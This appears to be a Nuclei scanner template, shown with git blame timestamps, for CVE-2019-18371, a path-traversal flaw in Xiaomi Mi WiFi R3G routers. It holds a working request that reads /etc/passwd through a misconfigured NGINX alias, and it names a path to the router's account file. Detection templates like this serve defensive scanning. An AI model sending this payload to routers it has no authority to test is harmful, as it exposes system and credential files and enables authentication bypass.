nuclei-templates/cves/2019/CVE-2019-18371.yaml

36 lines
1.2 KiB
YAML
Raw Normal View History

2022-05-18 11:13:32 +00:00
id: CVE-2019-18371
info:
name: Xiaomi Mi WiFi R3G Routers - Local file Inclusion
2022-05-18 11:13:32 +00:00
author: ritikchaddha
severity: high
2022-05-19 19:39:55 +00:00
description: |
2022-06-13 14:06:25 +00:00
Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.
2022-05-19 19:39:55 +00:00
reference:
2022-05-18 11:13:32 +00:00
- https://ultramangaia.github.io/blog/2019/Xiaomi-Series-Router-Command-Execution-Vulnerability.html
- https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/arbitrary_file_read_vulnerability.py
- https://nvd.nist.gov/vuln/detail/CVE-2019-18371
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-18371
cwe-id: CWE-22
tags: cve2019,cve,lfi,router,mi,xiaomi
2022-05-18 11:13:32 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# Enhanced by mp on 2022/06/17